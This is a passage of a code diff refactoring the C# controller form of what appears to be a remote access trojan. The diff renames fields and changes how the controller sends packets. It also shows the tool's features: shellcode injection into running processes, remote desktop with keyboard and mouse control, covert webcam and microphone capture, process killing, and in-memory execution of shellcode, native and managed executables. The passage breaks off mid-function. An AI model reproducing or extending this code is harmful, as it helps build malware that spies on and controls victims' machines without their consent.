- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(shortCutFileManagersPacket);
+ ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);
}
private void desktopSToolStripMenuItem_Click(object sender, EventArgs e)
{
ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DESKTOP)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(shortCutFileManagersPacket);
+ ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);
}
private void documentsSToolStripMenuItem_Click(object sender, EventArgs e)
{
ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOCUMENTS)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(shortCutFileManagersPacket);
+ ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);
}
private void userProfileSToolStripMenuItem_Click(object sender, EventArgs e)
{
ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.USER_PROFILE)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(shortCutFileManagersPacket);
+ ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);
}
#endregion
#region "Directory"
@@ -728,9 +683,11 @@ private void dowloadFileDataGridView_MouseUp(object sender, MouseEventArgs e)
#region "Process Manager"
private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
- ProcessManagerPacket processManagerPacket = new ProcessManagerPacket();
- processManagerPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1);
- clientHandler.SendPacket(processManagerPacket);
+ ProcessManagerPacket processManagerPacket = new ProcessManagerPacket
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, processManagerPacket);
}
private void killToolStripMenuItem_Click(object sender, EventArgs e)
@@ -738,9 +695,11 @@ private void killToolStripMenuItem_Click(object sender, EventArgs e)
foreach (DataGridViewRow selected in processDataGridView.SelectedRows)
{
int procId = int.Parse(selected.Cells[1].Value.ToString());
- ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(procId, selected.Cells[2].Value.ToString(), selected.Index);
- processKillerPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1);
- clientHandler.SendPacket(processKillerPacket);
+ ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(procId, selected.Cells[2].Value.ToString(), selected.Index)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, processKillerPacket);
}
}
@@ -749,9 +708,11 @@ private void suspendToolStripMenuItem_Click(object sender, EventArgs e)
foreach (DataGridViewRow selected in processDataGridView.SelectedRows)
{
int procId = int.Parse(selected.Cells[1].Value.ToString());
- SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index);
- suspendProcessPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1);
- clientHandler.SendPacket(suspendProcessPacket);
+ SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, suspendProcessPacket);
}
}
@@ -760,14 +721,17 @@ private void resumeToolStripMenuItem_Click(object sender, EventArgs e)
foreach (DataGridViewRow selected in processDataGridView.SelectedRows)
{
int procId = int.Parse(selected.Cells[1].Value.ToString());
- ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index);
- resumeProcessPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1);
- clientHandler.SendPacket(resumeProcessPacket);
+ ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, resumeProcessPacket);
}
}
private void shellcodeInjectionToolStripMenuItem_Click(object sender, EventArgs e)
{
+ ProcessInjectionPacket processInjectionPacket;
using (OpenFileDialog ofd = new OpenFileDialog())
{
if (ofd.ShowDialog() == DialogResult.OK)
@@ -779,14 +743,18 @@ private void shellcodeInjectionToolStripMenuItem_Click(object sender, EventArgs
switch (Program.settings.processInjectionMethod)
{
case ProcessInjectionPacket.INJECTION_METHODS.CLASSIC:
- ProcessInjectionPacket processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.CLASSIC, procId);
- processInjectionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1);
- clientHandler.SendPacket(processInjectionPacket);
+ processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.CLASSIC, procId)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, processInjectionPacket);
break;
case ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW:
- processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW, procId);
- processInjectionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1);
- clientHandler.SendPacket(processInjectionPacket);
+ processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW, procId)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, processInjectionPacket);
break;
}
}
@@ -804,22 +772,22 @@ private void captureGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)
{
if (captureGuna2ToggleSwitch.Checked)
{
- remoteDesktopHandler = new RemoteDesktopHandler();
+ RemoteDesktopHandler = new RemoteDesktopHandler();
keysPressed = new List();
- this.remoteDesktopHandler = new RemoteDesktopHandler();
- remoteDesktopHandler.baseIp = this.clientHandler.IP;
+ this.RemoteDesktopHandler = new RemoteDesktopHandler();
+ RemoteDesktopHandler.BaseIp = this.ClientHandler.IP;
RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1),
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID,
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1),
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID,
width = remoteDesktopPictureBox.Width,
height = remoteDesktopPictureBox.Height,
format = "JPEG",
quality = qualityGuna2TrackBar.Value,
timeMS = 1
};
- this.clientHandler.SendPacket(remoteViewerPacket);
+ ClientHandler.StartSendData(this.ClientHandler, remoteViewerPacket);
}
else
{
@@ -827,10 +795,10 @@ private void captureGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)
keyboardGuna2ToggleSwitch.Checked = false;
RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF)
{
- baseIp = this.remoteDesktopHandler.baseIp,
- HWID = this.clientHandler.HWID
+ BaseIp = this.RemoteDesktopHandler.BaseIp,
+ HWID = this.ClientHandler.HWID
};
- this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket);
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);
}
}
private void remoteDesktopPictureBox_SizeChanged(object sender, EventArgs e)
@@ -839,15 +807,15 @@ private void remoteDesktopPictureBox_SizeChanged(object sender, EventArgs e)
{
RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1),
- baseIp = this.clientHandler.IP,
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1),
+ BaseIp = this.ClientHandler.IP,
width = remoteDesktopPictureBox.Width,
height = remoteDesktopPictureBox.Height,
format = "JPEG",
quality = qualityGuna2TrackBar.Value,
timeMS = 1
};
- this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket);
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);
}
}
private void qualityGuna2TrackBar_ValueChanged(object sender, EventArgs e)
@@ -856,15 +824,15 @@ private void qualityGuna2TrackBar_ValueChanged(object sender, EventArgs e)
{
RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1),
- baseIp = this.clientHandler.IP,
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1),
+ BaseIp = this.ClientHandler.IP,
width = remoteDesktopPictureBox.Width,
height = remoteDesktopPictureBox.Height,
format = "JPEG",
quality = qualityGuna2TrackBar.Value,
timeMS = 1
};
- this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket);
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);
}
}
@@ -883,10 +851,11 @@ private void remoteDesktopPictureBox_MouseWheel(object sender, MouseEventArgs e)
{
RemoteMousePacket mousePacket = new RemoteMousePacket(e.Delta == 120 ? RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_UP : RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_DOWN)
{
- x = e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width,
- y = e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height
+ x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width,
+ y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height,
+ BaseIp = this.ClientHandler.IP
};
- this.remoteDesktopHandler.clientHandler.SendPacket(mousePacket);
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket);
}
}
@@ -904,9 +873,10 @@ private void remoteDesktopPictureBox_MouseDown(object sender, MouseEventArgs e)
if (e.Button == MouseButtons.Middle)
mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_DOWN;
- mousePacket.x = e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width;
- mousePacket.y = e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height;
- this.remoteDesktopHandler.clientHandler.SendPacket(mousePacket);
+ mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width;
+ mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height;
+ mousePacket.BaseIp = this.ClientHandler.IP;
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket);
}
}
@@ -924,9 +894,10 @@ private void remoteDesktopPictureBox_MouseUp(object sender, MouseEventArgs e)
if (e.Button == MouseButtons.Middle)
mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_UP;
- mousePacket.x = e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width;
- mousePacket.y = e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height;
- this.remoteDesktopHandler.clientHandler.SendPacket(mousePacket);
+ mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width;
+ mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height;
+ mousePacket.BaseIp = this.ClientHandler.IP;
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket);
}
}
@@ -934,11 +905,12 @@ private void remoteDesktopPictureBox_MouseMove(object sender, MouseEventArgs e)
{
if (enabledMouse)
{
- this.remoteDesktopHandler.clientHandler.SendPacket(new RemoteMousePacket
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteMousePacket
(
RemoteMousePacket.MouseTypeAction.MOVE_MOUSE,
- e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width,
- e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height)
+ e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width,
+ e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height
+ ){ BaseIp = this.ClientHandler.IP }
);
}
}
@@ -959,7 +931,7 @@ private void ClientForm_KeyUp(object sender, KeyEventArgs e)
if (!IsLockKey(e.KeyCode))
e.Handled = true;
keysPressed.Remove(e.KeyCode);
- this.remoteDesktopHandler.clientHandler.SendPacket(new RemoteKeyboardPacket((byte)e.KeyCode, false));
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, false) { BaseIp = this.ClientHandler.IP });
}
}
@@ -974,7 +946,7 @@ private void ClientForm_KeyDown(object sender, KeyEventArgs e)
return;
keysPressed.Add(e.KeyCode);
- this.remoteDesktopHandler.clientHandler.SendPacket(new RemoteKeyboardPacket((byte)e.KeyCode, true));
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, true) { BaseIp = this.ClientHandler.IP });
}
}
@@ -990,46 +962,53 @@ private void saveRemoteDesktopToolStripMenuItem_Click(object sender, EventArgs e
if (this.remoteDesktopPictureBox.Image != null)
{
string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString();
- File.WriteAllBytes(this.clientHandler.clientPath + "\\" + "Screenshots\\" + Date + ".jpeg", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteDesktopPictureBox.Image));
+ File.WriteAllBytes(this.ClientHandler.ClientPath + "\\" + "Screenshots\\" + Date + ".jpeg", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteDesktopPictureBox.Image));
}
}
#endregion
#region "Remote WebCam"
private void getWebCamToolStripMenuItem_Click(object sender, EventArgs e)
{
- RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket();
- remoteCameraPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1);
- this.clientHandler.SendPacket(remoteCameraPacket);
+ RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, remoteCameraPacket);
}
private void captureWebCamGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)
{
+ RemoteCameraCapturePacket remoteCameraCapturePacket;
if (captureWebCamGuna2ToggleSwitch.Checked)
{
- this.remoteWebCamHandler = new RemoteWebCamHandler();
- this.remoteWebCamHandler.hasAlreadyConnected = false;
+ this.RemoteWebCamHandler = new RemoteWebCamHandler
+ {
+ HasAlreadyConnected = false
+ };
if (camerasGuna2ComboBox.Items.Count > 0 && camerasGuna2ComboBox.SelectedItem != null)
{
- RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_ON);
-
- remoteCameraCapturePacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1);
- remoteCameraCapturePacket.timeMS = 1;
- remoteCameraCapturePacket.index = camerasGuna2ComboBox.SelectedIndex;
- remoteCameraCapturePacket.quality = qualityGuna2TrackBar.Value;
- this.clientHandler.SendPacket(remoteCameraCapturePacket);
+ remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_ON)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1),
+ timeMS = 1,
+ index = camerasGuna2ComboBox.SelectedIndex,
+ quality = qualityGuna2TrackBar.Value,
+ BaseIp = this.ClientHandler.IP
+ };
+ ClientHandler.StartSendData(this.ClientHandler, remoteCameraCapturePacket);
}
}
else
{
- if (clientHandler != null && camerasGuna2ComboBox.Items.Count > 0)
+ if (ClientHandler != null && camerasGuna2ComboBox.Items.Count > 0)
{
- RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF)
+ remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF)
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteWebCamHandler.clientHandler.SendPacket(remoteCameraCapturePacket);
+ ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket);
}
}
}
@@ -1039,7 +1018,7 @@ private void saveWebCamToolStripMenuItem_Click(object sender, EventArgs e)
if (this.remoteWebCamPictureBox.Image != null)
{
string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString();
- File.WriteAllBytes(this.clientHandler.clientPath + "\\" + "Camera\\" + Date + "." + "png", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteWebCamPictureBox.Image));
+ File.WriteAllBytes(this.ClientHandler.ClientPath + "\\" + "Camera\\" + Date + "." + "png", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteWebCamPictureBox.Image));
}
}
#endregion
@@ -1056,42 +1035,50 @@ private void SetLocalAudioDevices()
private void remoteMicrophoneGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)
{
+ RemoteAudioCapturePacket remoteAudioCapturePacket;
if (remoteMicrophoneGuna2ToggleSwitch.Checked)
{
if (audioDevicesGuna2ComboBox.Items.Count > 0)
{
- this.remoteMicrophoneHandler = new RemoteMicrophoneHandler();
- this.remoteMicrophoneHandler.hasAlreadyConnected = false;
+ this.RemoteMicrophoneHandler = new RemoteMicrophoneHandler
+ {
+ HasAlreadyConnected = false
+ };
- this.remoteMicrophoneHandler.waveOut.DeviceNumber = currentMachineDevicesGuna2ComboBox.SelectedIndex;
- this.remoteMicrophoneHandler.waveOut.Init(this.remoteMicrophoneHandler.bufferedWaveProvider);
- this.remoteMicrophoneHandler.waveOut.Play();
+ this.RemoteMicrophoneHandler.WaveOut.DeviceNumber = currentMachineDevicesGuna2ComboBox.SelectedIndex;
+ this.RemoteMicrophoneHandler.WaveOut.Init(this.RemoteMicrophoneHandler.BufferedWaveProvider);
+ this.RemoteMicrophoneHandler.WaveOut.Play();
- RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_ON);
- remoteAudioCapturePacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1);
- remoteAudioCapturePacket.index = audioDevicesGuna2ComboBox.SelectedIndex;
- this.clientHandler.SendPacket(remoteAudioCapturePacket);
+ remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_ON)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1),
+ index = audioDevicesGuna2ComboBox.SelectedIndex,
+ BaseIp = this.ClientHandler.IP
+ };
+ ClientHandler.StartSendData(this.ClientHandler, remoteAudioCapturePacket);
}
}
else
{
- if (clientHandler != null)
+ if (ClientHandler != null)
{
- RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF)
+ remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF)
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteMicrophoneHandler.clientHandler.SendPacket(remoteAudioCapturePacket);
+ ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket);
}
}
}
private void getMicrophonesToolStripMenuItem_Click(object sender, EventArgs e)
{
- RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket();
- remoteAudioPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1);
- this.clientHandler.SendPacket(remoteAudioPacket);
+ RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, remoteAudioPacket);
}
#endregion
#region "Remote Execution"
@@ -1131,9 +1118,9 @@ private void sendDotNetGuna2Button_Click(object sender, EventArgs e)
}
if (remoteCodeExecution != null)
- remoteCodeExecution.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1);
+ remoteCodeExecution.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1);
- this.clientHandler.SendPacket(remoteCodeExecution);
+ ClientHandler.StartSendData(this.ClientHandler, remoteCodeExecution);
}
private void testDotNetGuna2Button_Click(object sender, EventArgs e)
@@ -1264,9 +1251,11 @@ private void sendShellcodeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (DataGridViewRow shellcode in shellcodeDataGridView.SelectedRows)
{
- MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_SHELLCODE, Compressor.QuickLZ.Compress(File.ReadAllBytes(shellcode.Cells[0].Value.ToString()), 1));
- memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1);
- this.clientHandler.SendPacket(memoryExecutionPacket);
+ MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_SHELLCODE, Compressor.QuickLZ.Compress(File.ReadAllBytes(shellcode.Cells[0].Value.ToString()), 1))
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);
}
}
@@ -1329,25 +1318,29 @@ private void removeNativePEContextMenuStripToolStripMenuItem_Click(object sender
private void sendNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)
{
+ MemoryExecutionPacket memoryExecutionPacket;
foreach (DataGridViewRow nativePE in nativePEDataGridView.SelectedRows)
{
if (nativePE.Cells[0].Value.ToString().EndsWith(".dll"))
{
- MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1));
- memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1);
- this.clientHandler.SendPacket(memoryExecutionPacket);
+ memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1))
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);
}
else
{
- MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1));
- memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1);
- this.clientHandler.SendPacket(memoryExecutionPacket);
+ memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1))
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);
}
}
}
#endregion
#region "Managed PE"
-
private void managedPEDataGridView_MouseUp(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
@@ -1384,20 +1377,25 @@ private void managedPEDataGridView_DragDrop(object sender, DragEventArgs e)
private void sendManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)
{
+ MemoryExecutionPacket memoryExecutionPacket;
foreach (DataGridViewRow managedPE in managedPEDataGridView.SelectedRows)
{
if (managedPE.Cells[0].Value.ToString().EndsWith(".dll"))
{
- MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1));
- memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1);
- memoryExecutionPacket.managedEntryPoint = managedPE.Cells[1].Value.ToString();
- this.clientHandler.SendPacket(memoryExecutionPacket);
+ memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1))
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1),
+ managedEntryPoint = managedPE.Cells[1].Value.ToString()
+ };
+ ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);
}
else
{
- MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1));
- memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1);
- this.clientHandler.SendPacket(memoryExecutionPacket);
+ memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1))
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);
}
}
}
@@ -1434,64 +1432,85 @@ private void addManagedPEContextMenuStripToolStripMenuItem_Click(object sender,
#region "Information"
private void retrieveInformationGuna2Button_Click(object sender, EventArgs e)
{
- InformationPacket informationPacket;
- informationPacket = new InformationPacket();
